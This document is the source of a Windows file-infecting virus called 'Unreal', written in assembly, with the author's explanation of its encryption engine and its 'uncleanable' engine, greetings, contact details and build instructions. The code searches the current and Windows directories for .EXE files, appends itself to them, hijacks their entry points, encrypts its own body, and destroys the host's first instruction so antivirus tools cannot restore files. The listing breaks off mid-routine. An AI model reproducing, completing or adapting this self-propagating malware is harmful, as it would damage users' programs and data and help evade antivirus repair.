^ + | | + Select | + | + Argument + + The cipher works with three basic operations: ADD, SUB, XOR, ROR and ROL. + So, the meanings of Select are: + + 00 ADD + 01 SUB + 10 XOR + 11 ROR/ROL + + When there is a ROR or a ROL the cipher looks at the next bit; a 0 means + ROR, and a 1 means ROL. These operations are obviously the ones to decrypt + the code, as the encryption will set them up. The value stored in the + Argument part which is 8 bits long except in ROL and ROR where it's just + 7 bits: nothing to fear, as it won't be very interesting to make a more + than 31 times rotation. + + The table where this is stored is 31 bytes long, which is enough to + perform 24 operations ( 24*10 = 240 bits, 240/8 = 30 bytes ). The other + byte is used when messing up two 32 bit blocks. + + + Block ciphering + --------------- + + The engine doesn't just crypt the code with that bunch of operations. + Looking at the complete length ( which is stored in 16 bits with a maximum + of 64Kb - keep an eye if you want to make it take bigger stuff ), it + divides the code in 64-bit blocks this way: + + +---------+---------+---------+-----+ + | | | | | + +---------+---------+---------+-----+ + 64-bits 64-bits 64-bits Last block ( undefined ) + + It will start cyphering 32-bit bunchs on each block, then operating + among any of the 2 bunchs of each block, and finally modifying the + last block. When the engine starts working, it divides the 64 bit block + in two dwords ( 32-bit each ). Loads the first of them and makes 24 + operations byte to byte, going later with the other block: + + + Cyphering 32 bits + ----------------- + Let's suppose the dword is in EAX: + + The first byte ( in xL ) is encrypted with the first operation, then + it's value is stored, the 32-bit register for it rotated right 8 bits, + and the same operation that was applied to it is made to the next byte; + the argument will be the encrypted byte. So the rotated byte in xL is + processed the same way: + + In this example, the first operation will be "ADD AL,4Ch", and the + second will be "ROR AL,5h" + + + Original state First operation + +4C + +----+----+----+----+ +----+----+----+----+ + | 1A | F0 | D1 | 43 | | 1A | F0 | D1 | 8F | + +----+----+----+----+ +----+----+----+----+ + + ROL EAX,8d ( to work with next byte ) Second operation + ROR 5h + +----+----+----+----+ +----+----+----+----+ + | 8F | 1A | F0 | D1 | | 8F | 1A | F0 | D1 | + +----+----+----+----+ +----+----+----+----+ + + Then, it will make that second operation to the byte "1Ah" and so on, + in it's 24 rounds, using of course 24 different operations ( so each + byte is changed 24/4*2 = 12 times ) + + When two 32-bit bunchs are finished, they will be stored: for + decryption, the engine works backwards: first AL is operated, then + rotated left and operated again with the same op, the next one is + done to the same AL, and so on. + + + Block messing + ------------- + When two 32 bit blocks are done, the first one is re-encrypted by the + second using up to four operations stored in a single byte that can be + either ADD or XOR in different ways, taking the other block as argument. + That byte is stored this way: + + 00 ADD ( the other block ) + 01 ADD ( rotating the other block ) + 10 XOR ( with the other block ) + 11 XOR ( with the other block rotated ) + + So you can see the first bit tells us if we should rotate or not the + block: when decrypting, this will be the first to execute instead + of the bunch-cyphering doing first the rotation op ( which is done the + last when encrypting ) + + Last block + ---------- + As you should have noticed, the last block won't probably be 64-bit + long. So, this unfixed length block is handled in a different way. If we + can take 32 bits from it, they will be done as a normal 32-bit block as + before. + + The other block won't be even touched: it's highly recommended not to + place anything important there or anything we should be recognized for: + it's not any big waste, as the bigger number of bytes that can be + outside blocks and non-encrypted is 3. + + So, place three fake bytes in the end of the encrypted code, and even + fill 'em with shit: the engine will ignore them. + + + +-------+ Uncleanable Virus Engine +----------------------------------------- + + The UVE is an idea performed after making my article about polymorphism, + and how it can always be detectable. Thinking on alphabets and languages, + a poly engine cannot be undetected, but a file infected by a virus can be + made uncleanable. + + That's the idea behind this engine, making it impossible to remove the + virus from a file, at least by a normal procedure. You could make this + idea bigger supporting many instructions, but that's not my point. Be it + one instruction as in my engine, or X instructions, the important + objective is accomplished. I've received some complaints because most + files didn't begin by mov reg,imm32. But the main objective on uncleanable + making is made: confussion, and not knowing if the instruction was or + wasn't in the beggining of the file. + + I'll describe it in 5 points: + +
  • First of all, check if the first instruction of the legit code, the one + on the entry point, is a mov reg,imm32. + +
  • In the beggining of the virus code, place that mov reg,imm32 if it + exists, and another 6 mov reg,imm32 instructions which use random + registers and random value assignations - not using esp or the one the + legit instruction uses. + +
  • If there's no mov reg,imm32 instruction in the beggining of the legit + code, the engine will anyway generate 7 random mov reg,imm32 instructions + at the beggining of the virus. + +
  • The legit code instruction 'mov reg,imm32' is overwritten with 0s, and + the old entry point is added 5. + +
  • When the .exe is run, these 7 instructions are executed, then registers + are pushed onto the stack, and when returning to original host, they're + replaced. So, an antivirus can't know if there was a 'mov reg,imm32' in + the beggining of the original host code, or which one was it, so it + can't replace it. + + + +-------+ Greetings +-------------------------------------------------------- + + Special greetings in this virus go to: + + Billy Belcebu -> For the idea on getting the Kernel32.DLL address: kewl. + And thanks for letting me publish in your magazine. + Sopinky -> For all yer support man + Z0mbie -> Cool ideas, how do u have tha time ? Ya rule, thanx for help + Benny -> Need to hear from yer projects + +-------+ Contact +---------------------------------------------------------- + + E-mail me at qozah@hax0r.com.ar + +-------+ Compilation +------------------------------------------------------ + + tasm32 -ml -m5 -q -zn unreal.asm + tlink32 -v -Tpe -c -x -aa unreal,,, import32 + pewrsec unreal.exe + remove unreal.exe after the first infection when executing files in the +same directory (tasm bug makes own infection a fuckup) + + +---------------------------?-------------?---------------------------------- +% + +.486p +.model flat + +NULL EQU 00000000h +MB_ICONEXCLAMATION EQU 00000030h + +extrn ExitProcess: proc +extrn GetModuleHandleA: proc +extrn GetProcAddress: proc +extrn MessageBoxA: proc + + +.data + + db ? + +.code + +v_start label byte + +Start: + db 35d dup (90h) ; Place set for 7 instructions. + pusha + call Get_Delta ; Get Delta Offset +Get_Delta: + mov esi,esp + add dword ptr [esi],Real_start-Get_Delta + push esi + lodsd + sub eax,offset Real_start + mov ebp,eax + pop dword ptr [Find_Win32_Data+ebp] + push dword ptr [ebp+dif_point2] + pop dword ptr [ebp+dif_point] + call external_first_gen_ops + +external_address equ $-4 + + ret + +EncStart label byte + + +; Other Data + +number_bytes: dd 0 +Search_File: db '*.EXE',0 +GetMHandle: dd 0 +Azathoth: db 'Unreal virus written by Qozah',0 + + db 'So how are you going to clean this one, AV guys ?',0 + db 'It''s your turn, to tell the people that buy your ' + db 'shit that you cannot disinfect this one without ' + db 'risking their data ',0 + +; API adresses + +API_Adresses: +API_Create: dd 0 +API_Close: dd 0 +API_FindFirst: dd 0 +API_FindNext: dd 0 +API_CMap: dd 0 +API_MapView: dd 0 +API_Unmap: dd 0 +API_Pointer: dd 0 +API_SetEnd: dd 0 +API_ExitThread: dd 0 +API_CrThread: dd 0 +API_GetWDir: dd 0 +API_SetDir: dd 0 +API_GetTime: dd 0 + + +Real_start: + +; Get all the APIs we'll need in the virus + + lea esi,[API_Reference+ebp] ; Initialize + lea ebx,[API_Names+ebp] + lea edi,[API_Adresses+ebp] + mov ecx,API_Quantity +Get_APIs: + push ecx + xor eax,eax + lodsb + add ebx,eax + push ebx + push dword ptr [GetMHandle+ebp] + call GetProcAddress +GPAddress equ $-4 + stosd ; Save address + pop ecx + loop Get_APIs + +; +; lpThreadAttributes;dwStackSize;lpStartADress,lPParameter, +;dwCreationFlags, lpThreadld + + lea eax,[THR+ebp] + push eax + push 0 0 + lea eax,[FindFirstFile+ebp] + push eax + push 1000d 0 + mov eax,dword ptr [API_CrThread+ebp] + call eax + + jmp ReturnHost +THR: dd 0 +;epflag: db 0 + +;---------------------- +; FindFirst "Host.EXE" +FindFirstFile: + call Delta4thread +Delta4thread: + pop ebp + sub ebp,offset Delta4thread + mov byte ptr ds:[signal+ebp],01d + +FindFirstReal: + lea eax,[Find_Win32_Data+ebp] + push eax + lea eax,[Search_File+ebp] + push eax + mov eax,dword ptr [API_FindFirst+ebp] + call eax + + or eax,eax + jz EndReturn + push eax + call Infect + +LoopFindNext: + pop ebx ; Handle for finding + push ebx + call FindNext + or eax,eax + pop eax + jz EndReturn + push eax + call Infect + jmp LoopFindNext + + + +WinDir: db MAX_PATH dup (90h) +signal: db 01h + ; We finished, so we just get out + +;######################################################################### +; We should now infect the windows directory +;######################################################################### + +EndReturn: + + ; We change directory ( now it's windows one ) + + push MAX_PATH + lea eax,[WinDir+ebp] + push eax + mov eax,dword ptr [API_GetWDir+ebp] + call eax + + lea eax,[WinDir+ebp] + push eax + mov eax,dword ptr [API_SetDir+ebp] + call eax + + dec byte ptr ds:[signal+ebp] + mov al,byte ptr ds:[signal+ebp] + or al,al + jz FindFirstReal + +ExitGame: + + push NULL + mov eax,dword ptr [API_ExitThread+ebp] + call eax + + + ; FINISH + + + + +FindNext: + + lea eax,[Find_Win32_Data+ebp] + push eax + push ebx + mov eax,dword ptr [API_FindNext+ebp] + call eax + ret + +Infect: + +; Open "Host.EXE" + + push 0 0 3 0 1 0C0000000h ; Read/Write access + lea eax, [Find_Win32_Data+WFD_szFileName+ebp] + push eax + mov eax, dword ptr [API_Create+ebp] + call eax + + + mov ebx,eax + inc eax + jnz No_Prob1 + ret +No_Prob1: + push ebx ;also for open_mapping + +; CreateFileMapping + + mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] + add edi,virus_size ; Host plus our size + push 0 + push edi + push 0 + push PAGE_READWRITE ; R/W + push 0 ; Opt_sec_attr + push ebx ; Handle + mov eax, dword ptr [API_CMap+ebp] + call eax + push eax ; Save mapping handle + or eax,eax + jnz No_Prob2 + ret + +badress: dd 0 + +No_Prob2: + +; MapViewOfFile + + push edi + push 0 + push 0 + push FILE_MAP_ALL_ACCESS + push eax ; handle + lea eax,dword ptr [API_MapView+ebp] + call dword ptr [eax] + + or eax,eax + jz Close_handles ; Does it (???) + push eax + mov edx,eax + mov dword ptr ds:[badress+ebp],eax + ; Base address = eax + + +;/////////////////////////////////////////////////////////////////////////// +; File mapped, infection begins +;/////////////////////////////////////////////////////////////////////////// + + + movzx ebx, word ptr ds:[eax] + add bh,bl + add bh,-('M'+'Z') + jnz unmap_close + + mov bx,word ptr ds:[eax+03ch] + add edx,ebx ; PE header + + mov bx,word ptr ds:[edx] + xor bx,0baafh ; Is PE header ? + inc bx + jnz unmap_close + or word ptr ds:[0014h+edx],0 ; Optional header exists ? + jz unmap_close + + mov eax,dword ptr ds:[04ch+edx] + add eax,-'CHR0' + jz unmap_close + + mov ax,word ptr ds:[016h+edx] ; File is executable + and ax,0002h + jz unmap_close + + ; So, we have a suitable file for infection + ; Now then calculate beggining of last section + + mov esi,edx + add esi,18h + mov bx,word ptr ds:[edx+14h] ; SizeofOptional + add esi,ebx ; Start of Section Table + + ; Now that esi = section table, we must search + ;which is the last one: that is, looking at the biggest + ;PointerToRawData field. + + push esi + movzx ecx,word ptr ds:[edx+06h] ; number of sections + mov edi,esi + xor eax,eax + push cx +X_Sections: + + pushad + mov ebx,esi + mov eax,dword ptr ds:[edx+02Ch] ; Get the code RVA + cmp dword ptr ds:[edi+0Ch],eax ; Are they the same ? + jnz fuckya + mov esi,dword ptr ds:[edx+028h] ; Substract Entry Point RVA to Code base + sub esi,eax + add esi,dword ptr ds:[ebx+014h] + add esi,dword ptr ds:[badress+ebp] + lea edi,Start+ebp + push eax ebx ecx edx esi edi ebp + call UVE + pop ebp edi esi edx ecx ebx eax + jc fuckya + ; Overwrite old instructions with 0s + mov dword ptr ds:[esi],0h + mov byte ptr ds:[esi+4d],0h + ; Activate flag: old ep has to be increased by 5 + add dword ptr ds:[edx+028h],5d +fuckya: + popad + + + cmp dword ptr [edi+14h],eax + jz Not_Biggest + mov ebx,ecx + mov eax,dword ptr [edi+14h] +Not_Biggest: + add edi,28h + loop X_Sections + pop cx ; number of sections + sub ecx,ebx ; calculate last one + + mov eax,028h + push edx + mul ecx + pop edx + add esi,eax + + ; We've got the last section in the section table just + ;in esi ( while PE header is still in edx ) + ; So first we set it to writable, code and executable + ;( also, we discard it if it contains useless data, as + ;.reloc has ) + + or dword ptr ds:[esi+24h],0A0000020h + + ; Now we save SizeOfRawData, add our size to the Virtual + ;size, to put the real size of the section now. + + mov edi,dword ptr ds:[esi+10h] + mov eax,virus_size + xadd dword ptr ds:[esi+8h],eax ; VirtualSize + push eax + add eax,virus_size + + ; As eax holds the new virtual size, we have probably + ;fucked the alignment. So we get it and divide the new + ;VirtualSize by the alignment: the result of the new + ;SizeOfRawData is just the quotient multiplied by the + ;Alignment + + push edx + mov ecx, dword ptr ds:[edx+03ch] + xor edx,edx + div ecx ; eax holds virtual size + xor edx,edx + inc eax + mul ecx ; file align x number of bunchs + mov ecx,eax + mov dword ptr ds:[esi+10h],ecx + pop edx + + ; Now the NewSizeOfRawData is calculated and stored. So + ;what's now ? We add that place the VirtualAddress stored + ;in offset 0ch... and so we get the new entry point for + ;the virus: that VirtualAddress ( where it's loaded in + ;memory ) plus the offset where the virus is at, makes + ;our entry point. + + pop ebx ; This is VirtualSize - virus_size + add ebx,dword ptr ds:[esi+0ch] ; section RVA + mov eax,dword ptr ds:[edx+028h] ; Old entry point + mov dword ptr ds:[dif_point2+ebp],ebx + +no_ep_mod: + + sub dword ptr ds:[dif_point2+ebp],eax + mov dword ptr ds:[edx+28h],ebx + + ; Then, we calculate how much more data we have... + ;and so we store it in SizeOfImage ( of course, it's + ;this rounded one as it have to be aligned... + + sub ecx,edi + add dword ptr ds:[edx+50h],ecx ; add to SizeOfImage + mov dword ptr ds:[edx+04ch],'CHR0' + + ; EAX = OLD EP + ; EBX = NEW EP + + + ; Now to finish infection, the whole virus is copied + ;to the file. + + pop ebx + + pop edi + push edi + add edi,dword ptr ds:[esi+14h] + add edi,dword ptr ds:[esi+8h] + sub edi,virus_size + lea esi,[ebp+v_start] + mov ecx,virus_size + + pushad + call Infection_cryption + popad + + mov edi,0bff70000h + +; Close and go + +unmap_close: + lea eax,dword ptr [API_Unmap+ebp] + call dword ptr [eax] +Close_handles: + lea eax, [API_Close+ebp] + call dword ptr [eax] + + add edi,-0bff70000h + jz Cool_infected + + ; If we had any problems, we have to set the old + ;file length so it doesn't grow + + pop ebx ; File handle + push 0 0 + push dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] + push ebx + lea eax, [API_Pointer+ebp] + call dword ptr [eax] + + push ebx + lea eax, [API_SetEnd+ebp] + call dword ptr [eax] + push ebx + +Cool_infected: + lea eax, [API_Close+ebp] + call dword ptr [eax] + ret + +API_Reference: + + db 0d,12d,12d,15d,14d,19d,14d,16d,15d,13d,11d + db 13d,21d,21d + +End_Reference label byte + +API_Quantity equ End_Reference-API_Reference + +; API names + +API_Names: + db 'CreateFileA',0 + db 'CloseHandle',0 + db 'FindFirstFileA',0 + db 'FindNextFileA',0 + db 'CreateFileMappingA',0 + db 'MapViewOfFile',0 + db 'UnmapViewOfFile',0 + db 'SetFilePointer',0 + db 'SetEndOfFile',0 + db 'ExitThread',0 + db 'CreateThread',0 + db 'GetWindowsDirectoryA',0 + db 'SetCurrentDirectoryA',0 + db 'GetSystemTime',0 + +; +; GETTING GETMODULEHANDLE AND GETPROCADDRESS + +; Here we look at the GetModuleHandle and GetProcAddress addreses in +;memory so that we can use all the APIs in the virus. +; + +GetModuleHandleProcAddress: + + ; This method on getting the Kernel32.dll address was suggested by Billy + ;Belcebu so I must give him some greetings ;). As a program is + ;consecuence of a CreateProcess call, place in kernel from where it + ;was called is still in the stack; so we substract from it again and + ;again till we find the real header. + + mov edi,esp + mov edi,[edi+02Ch] + and edi,0FFFF0000h +CheckAgain: + sub edi,10000h + mov ax,word ptr ds:[edi] + add ax,-'ZM' + jnz CheckAgain + + ; So we've got the kernel just right here. + + mov edx,dword ptr ds:[edi+03ch] + add edx,edi + + mov ebx,dword ptr ds:[edx+78h] + add ebx,edi + + + mov esi,dword ptr ds:[ebx+20h] ; AddressOfNames + add esi,edi ; + base address of K32 + xor ecx,ecx + +Find_GPA: + inc ecx + lodsd ; Pointer to name + mov edx,eax + add edx,edi ; Name in edx + cmp dword ptr ds:[edx],'PteG' + jnz Find_GPA + cmp dword ptr ds:[edx+5h],'dAco' + jnz Find_GPA +ProcFound: + ; ecx handles where we found it. + + dec ecx + rol ecx,1h + mov esi,dword ptr ds:[ebx+24h] ; Address of ordinals + add esi,edi + add esi,ecx + xor eax,eax + lodsw ; EAX = ordinal numbah + + mov esi,dword ptr ds:[ebx+01ch] + add esi,edi + rol eax,2h ; *4h + add esi,eax + lodsd + + add eax,edi ; Adjust to base + ; Absolute address here + mov esi,ebp + add esi,(offset GPAddress-offset v_start)+401004h + sub eax,esi + mov dword ptr ds:[GPAddress+ebp],eax ; Set addr + mov dword ptr [GetMHandle+ebp],edi ; Set Base + + ; So we stored GetProcAddress place + + ret + +;GPName: db 'GetProcAddress' + + +returnway: dd 0 + + +; Internal text + + +image_base: dd 0 + +; Structures + +Find_Win32_Data: + db SIZEOF_WIN32_FIND_DATA dup (90h) + +EncEnd label byte +EncLength equ EncEnd-EncStart + +;/*************************************************************************/ +; Here is where virus decryption is perfomed after the 1st generation. +;/*************************************************************************/ + +ReturnHost: + push cs + pop word ptr ds:[ebp+offset seg] + mov eax,ebp + add eax,offset v_start + sub eax,12345678h +dif_point equ $-4 + push eax + pop dword ptr ds:[ebp+offset dif_p3] + + popad + db 0eah +dif_p3: dd 0 +seg: dw 0 +dif_point2 dd - (offset First_out - offset v_start) + + + +Infection_cryption: + +pushf +pushad + lea esi,dword ptr [EncStart+ebp] + mov ecx,EncLength + call Encrypt +popad +popf + rep movsb +pushf +pushad + lea esi,dword ptr [EncStart+ebp] + mov ecx,EncLength + call Decrypt +popad +popf + ret + + +Decryption: + +pushf +pushad + lea esi,dword ptr [EncStart+ebp] + mov ecx,EncLength + call Decrypt +popad +popf + + + + call GetModuleHandleProcAddress + + ret + + +;============================================================================ +; UNCLEANABLE VIRUS ENGINE +;============================================================================ + + ; if CF is set, no mov ?s:reg32,imm32 was found, but it was + ;generated anyway. + +; UVE: Engine parameters: +; +; ESI: Offset where the first instruction is red from. +; EDI: Offset where the code has to be written to +; + +Instruction: + db 0bbh,12h,00h,00h ; mov ebx, 12h + db 0,0,0,0 + +;=========================*******************=============================== +; INSTRUCTION CHECK +;=========================*******************=============================== + + +GetFirstInstruction: + push edi + lea edi,Instruction+ebp +GetInstructionTrue: + lodsb + + ; First of all, check if there is a prefix + + cmp al,0b8h + jb No_Shit ; This means no suitable instruction. So, + cmp al,0c0h ;we just don't care but generate fake + jae No_Shit ;instructions :) + ; Go then to real instructions + +MovRegImm: + dec esi + mov ecx,5 + rep movsb ; Copy to our instruction buffer + pop edi + mov ecx,5 + ret + +No_Shit: + ; Well, there's no instruction. So, we must generate a fake one + ;to act as if it was legit in our code, then AVers mustn't know + ;even if I supressed any. + + pop edi + mov eax,7 ; Times to do it +faker_nf: + mov ecx,5 ; Length of instruction + push eax + call PrintFake + pop eax + dec eax + jnz faker_nf + stc + pop ecx ; Adjust stack + jmp Ended_Stuff + +;=========================*******************=============================== +; MARK OPCODE +;=========================*******************=============================== +; +; MarkOpcode: with the first instruction at hand, this function determines +;which opcode is affected by it. After that, it stores a value in the +;correct marker. + + ; EDI ESI EBP ESP EBX EDX ECX EAX +Marker: db 00010000b +MarkOpcode: + + ; In case it's b8h-bfh +Opcode_Prefix: + lea esi,Instruction+ebp + xor eax,eax + lodsb + sub al,0b8h +; add al,24d + bts dword ptr ds:[Marker+ebp],eax + ret + +;=========================*******************=============================== +; RANDOM SEED +;=========================*******************=============================== + +; GetRandomSeed/GetRandomNumber: Randomize functions. + +GetRandomSeed: + + lea eax,[TimeKindOf+ebp] + push eax + lea eax, [API_GetTime+ebp] + call dword ptr ds:[eax] + ret + +GetRandomNumber: + + push ecx + mov ax,word ptr ds:[Miliseconds+ebp] + xor ax,1264h + RndVal equ $-2 + mov cx,ax + add ax,word ptr ds:[Second+ebp] + xor ax,word ptr ds:[Miliseconds+ebp] + rol ax,1 + add cx,ax + xor word ptr ds:[RndVal+ebp],ax + ror ax,7d + add ax,cx + add ax,word ptr ds:[Miliseconds+ebp] + rol ax,4d + xor cx,ax + sub ax,word ptr ds:[RndVal+ebp] + ror ax,3d + add word ptr ds:[RndVal+ebp],ax + mov word ptr ds:[Miliseconds+ebp],ax + add ax,cx + rol ax,11d + pop ecx + ret + +;=====================***************************=========================== +; PRINT LEGIT/FAKE +;=====================***************************=========================== + +secondary_buffer: db 5 dup(90h) + +PrintLegit: ; The legit instruction + push ecx + lea esi,Instruction+ebp + rep movsb + pop ecx + ret + + +PrintFake: ; A random one + call GetRandomNumber + and ax,0007h + push eax + mov dx,08d + sub dx,ax ; Get reserved + bt dword ptr ds:[Marker+ebp],edx + pop edx + + jc PrintFake ; Is it reserved ? + + + lea esi,secondary_buffer+1+ebp + mov ecx,5 + + ; Now the fake instructions has to be printed. It's with the same + ;value of the legit one, so we must change that value. + + push esi + push ecx + add esi,ebp ; Now base pointer adjusts + mov ecx,12h +stvalue: + call GetRandomNumber + add word ptr [esi], ax + sub word ptr [esi+2], ax + add ax,word ptr [esi+2] + xor word ptr [esi],ax + xor ax,word ptr [esi+2] + xor word ptr [esi],ax + add word ptr [esi+2],ax + loop stvalue + pop ecx + pop esi + + + ; This can be enough. Now let's just copy it to our buffer. + + dec ecx + mov al,0b8h + add al,dl + stosb + rep movsb + + ret + +;=====================***************************=========================== +; GENERATE INSTRUCTIONS +;=====================***************************=========================== +; GenerateInstructions: this one will create instructions similar to the +;legit one, putting them into BufferInst. It will also put the legit one +;randomly among them. + + + +GenerateInstructions: ; ecx is equal the number of opcodes + mov byte ptr ds:[Generated+ebp],0 + mov esi,7 +GenInstrAgain: + call GetRandomNumber + and ah,101b + jz LegGenerate +FakeIns: + push ecx esi + call PrintFake + pop esi ecx + jmp OneLess +LegGenerate: + cmp byte ptr ds:[Generated+ebp],1 + jz FakeIns + + push esi + call PrintLegit + pop esi + mov byte ptr ds:[Generated+ebp],1 +OneLess: + dec esi + jnz GenInstrAgain + mov al,byte ptr ds:[Generated+ebp] + dec al + jz FinishedGenerating + sub edi,5 + inc esi + jmp LegGenerate +FinishedGenerating: + ret + + + +;=====================***************************=========================== +; MAIN FUNCTION/DATA +;=====================***************************=========================== +; GenerateInstructions: this one will create instructions similar to the +;legit one, putting them into BufferInst. It will also put the legit one +;randomly among them. + +Generated: db 0 + +UVE: + + call GetRandomSeed + call GetFirstInstruction + call MarkOpcode + + push edi + lea esi,Instruction+ebp + lea edi,secondary_buffer+ebp + movsd + movsb + pop edi + + call GenerateInstructions + clc +Ended_Stuff: + ret + + + +TimeKindOf: + dw 0,0,0,0,0 +Minute dw 0 +Second dw 0 +Miliseconds dw 0 + + + +InstToRead: + db 000h,12h,00h,00h ; mov ebx, 12h + db 0,0,0,0 ; 64 en 04 + + + + +;===========================&&&&&&&&&&&&&&&&&&&============================== +; QOZAH'S BLOCK CYPHERING ENGINE +;===========================&&&&&&&&&&&&&&&&&&&============================== + +;--------------------------------------------------------------------------- + +Create_Table: + push ecx + mov ecx,31d ; Create 31 bytes + lea edi,OperationTable+ebp +SixLoops: + call GetRandomNumber + stosb + loop SixLoops + pop ecx + ret + +;--------------------------------------------------------------------------- + +GetBlocksReminder: + xor dx,dx + mov ax,08d + xchg ax,cx + div cx ; CX=number of blocks, DX=Remainder + mov cx,ax + ret + +;--------------------------------------------------------------------------- + +EncryptBlock: ; ESI is supposed begin crypt offset + ;while EAX is the shit to crypt + push ecx + lea edi,OperationTable+ebp + xor ebx,ebx +; lodsd + + mov ecx,24d +MakeRound: + mov dword ptr [EncryptOperation+ebp],90909090h + push ecx + mov ecx,8d ; Value to load ( 8 bits ) + + ; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR + + bt [edi],ebx + jc XorOrRox + inc ebx + mov byte ptr [EncryptOperation+ebp],04h ; ADD AL,XX + bt [edi],ebx + jc SubInst + add byte ptr [EncryptOperation+ebp],028h ; SUB AL,XX +SubInst: jmp OpCodeStoredA + +XorOrRox: + inc ebx + bt [edi],ebx + jnc DealWithXor + +RorOrXor: + inc ebx + bt [edi],ebx + mov word ptr [EncryptOperation+ebp],0c0c0h ; ROL AL,XX + jnc MakeRol ; IT'S MADE THE 'OTHER' WAY + add byte ptr [EncryptOperation+ebp+1],08h ; ROL AL,XX +MakeRol: + dec cx + ; Ecx equ value to load, that is 7 bits for you + jmp OpCodeStoredA + + +DealWithXor:mov byte ptr [EncryptOperation+ebp],034h ; XOR AL,XX + +OpCodeStoredA: ; Now it's time to obtain the cypher + + xor edx,edx ; DX=0, DL=value to make operation + +MakeValuesForOperation: + inc ebx ; points to +2 or +3 in the beggining + rol dl,1 + bt [edi],ebx + jnc NoOperand + inc dl +NoOperand: + loop MakeValuesForOperation + cmp byte ptr [EncryptOperation+1+ebp],90h + jz Type1 + mov byte ptr [EncryptOperation+2+ebp],dl + jmp EncryptOperation +Type1: + mov byte ptr [EncryptOperation+1+ebp],dl + db 0ebh,00h ; Avoid prefetch + + ; One instruction made ( out of 4 ) + +EncryptOperation: + db 90,90,90,90 ; work in AL. One byte excess to fit dword + ror eax,8d ; Next byte this way -> + + mov esi,dword ptr ds:[EncryptOperation+ebp] + mov dword ptr ds:[SecondCryptA+ebp],esi +SecondCryptA: + db 90,90,90,90 ; work in AL. One byte excess to fit dword + + + pop ecx + dec ecx + jz FinishedCryptBlock + jmp MakeRound ; 24 times ( 24 encryptions in 4 blocks ) +FinishedCryptBlock: + ror eax,8d ; Adjust last one. + + pop ecx + ret + +;--------------------------------------------------------------------------- + +Get_some_for_offset: + bt [edi],ebx + inc ebx + jnc DontAddDl + inc dl +DontAddDl: rol dl,1 + loop Get_some_for_offset + ret + +;--------------------------------------------------------------------------- + + +GetDl: + + push ebx + pop esi + + ; First of all, we get seven bits from the beggining of the + ;table, that is, the offset relative to the table in bits + ;to get our value. + + xor edx,edx + lea edi,OperationTable+ebp + xor ebx,ebx + + mov ecx,7d + call Get_some_for_offset + + mov ebx,edx + + ; Now we have the desired offset so that we just get another + ;value ( this time 5 bits ), which we will always use to + ;operate. + + xor edx,edx + + mov ecx,5d + call Get_some_for_offset + + ret + + +;--------------------------------------------------------------------------- + +MessTwoBlocks: + + push ecx esi + + call GetDl + + ; This value will be from now stored in edl then. Now we + ;start checking the table. + + mov ebx,0d8h ; beggining of that last 8 bits, + ;as cfh is the beginning of the + ;last operation + mov ecx,04h +Test_Rotate: + push ecx + + bt [edi],ebx + jnc We_Dont_Rotate + + ; If we do rotate, we do it now, with dl value + + mov byte ptr [DlHere+ebp],dl + + db 0ebh,00h + db 0c1h,0c0h +DlHere: db ? + + + ; Rotated or not, the second bunch is still in EAX, while + ;the first one is in ESI. So, we test the second byte. + +We_Dont_Rotate: + + inc ebx + mov byte ptr [OperationBlock+ebp+2],03h ; add esi, eax + bt [edi],ebx + jnc OperationBlock + mov byte ptr [OperationBlock+ebp+2],33h ; xor esi, eax + +OperationBlock: + db 0ebh,00h ; Prefetch + db 033h,0f0h + pop ecx + inc ebx + loop Test_Rotate + + mov ebx,esi + pop esi ecx + + ret + + +;--------------------------------------------------------------------------- + +Encrypt64KbBlocks: + + lodsd + push esi + call EncryptBlock + pop esi + mov ebx,eax + lodsd + push esi ebx + call EncryptBlock ; So we have them in ebx and eax + pop ebx esi + call MessTwoBlocks + ret + + +;--------------------------------------------------------------------------- + +StoreOneBlock: + + xchg eax,ebx + mov edi,esi + sub edi,8d + stosd + mov eax,ebx ; We store them two + stosd + ret + +;--------------------------------------------------------------------------- + + +Encrypt_stuff: + + call GetBlocksReminder ; DX is the last one length + push dx + +CheckLasting: ; DX = REMAINDER, CX = NUMBER O BLOCKS + or cx,cx ; No more ? + jz Go_last_block + call Encrypt64KbBlocks + call StoreOneBlock + loop CheckLasting + +Go_last_block: + pop dx + cmp dx,4d ; Last block shit + jc Finished_crypting + push esi + lodsd + call EncryptBlock + pop edi + stosd +Finished_crypting: + ret + + ; Once we have the length, we can start + +;--------------------------------------------------------------------------- + + +Encrypt: + call Create_Table + call Encrypt_stuff + ret + +;--------------------------------------------------------------------------- + +DeEncryptBlock: + + rol eax,8d + push ecx + lea edi,OperationTable+ebp + mov ebx,0cfh+12h ; 10 bits * 24 operations + ;something to adjust + mov ecx,24d + +MakeRound2: + push ecx + sub ebx,12h ; The above adjustment with this + ;allows us to do the encryption + ;algorythm backwards + + ; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR + + mov dword ptr [EncryptOperation2+ebp],90909090h + mov ecx,8d ; Value to load ( 8 bits ) + + bt [edi],ebx + jc XorOrRox2 + inc ebx + mov byte ptr [EncryptOperation2+ebp],04h + bt [edi],ebx + jnc SubInst2 + add byte ptr [EncryptOperation2+ebp],028h +SubInst2: jmp OpCodeStoredA2 + +XorOrRox2: + inc ebx + bt [edi],ebx + jnc DealWithXor2 + +RorOrXor2: + inc ebx + bt [edi],ebx + mov word ptr [EncryptOperation2+ebp],0c0c0h + jc MakeRol2 ; IT'S MADE THE 'OTHER' WAY + add byte ptr [EncryptOperation2+ebp+1],08h +MakeRol2: + dec ecx + ; Ecx equ value to load, that is 7 bits for you + jmp OpCodeStoredA2 + + +DealWithXor2: mov byte ptr [EncryptOperation2+ebp],034h + +OpCodeStoredA2: ; Now it's time to obtain the cypher + + xor edx,edx + +MakeValuesForOperation2: + + inc ebx ; points to +2 or +3 in the beggining + rol dl,1 + bt [edi],ebx + jnc NoOperand2 + inc dl +NoOperand2: + loop MakeValuesForOperation2 + cmp byte ptr [EncryptOperation2+1+ebp],90h + jz Type1B + mov byte ptr [EncryptOperation2+2+ebp],dl + jmp EncryptOperation2 ; just in case (testing) +Type1B: mov byte ptr [EncryptOperation2+1+ebp],dl + db 0ebh,00h ; Prefetch + ; One instruction made ( out of 4 ) + +EncryptOperation2: + db 90,90,90,90 ; work in AL. One byte excess to fit dword + rol eax,8d + + mov esi,dword ptr ds:[EncryptOperation2+ebp] + mov dword ptr ds:[SecondCryptB+ebp],esi +SecondCryptB: + db 90,90,90,90 ; work in AL. One byte excess to fit dword + + + pop ecx + dec ecx + jz FinishedCryptBlock2 + jmp 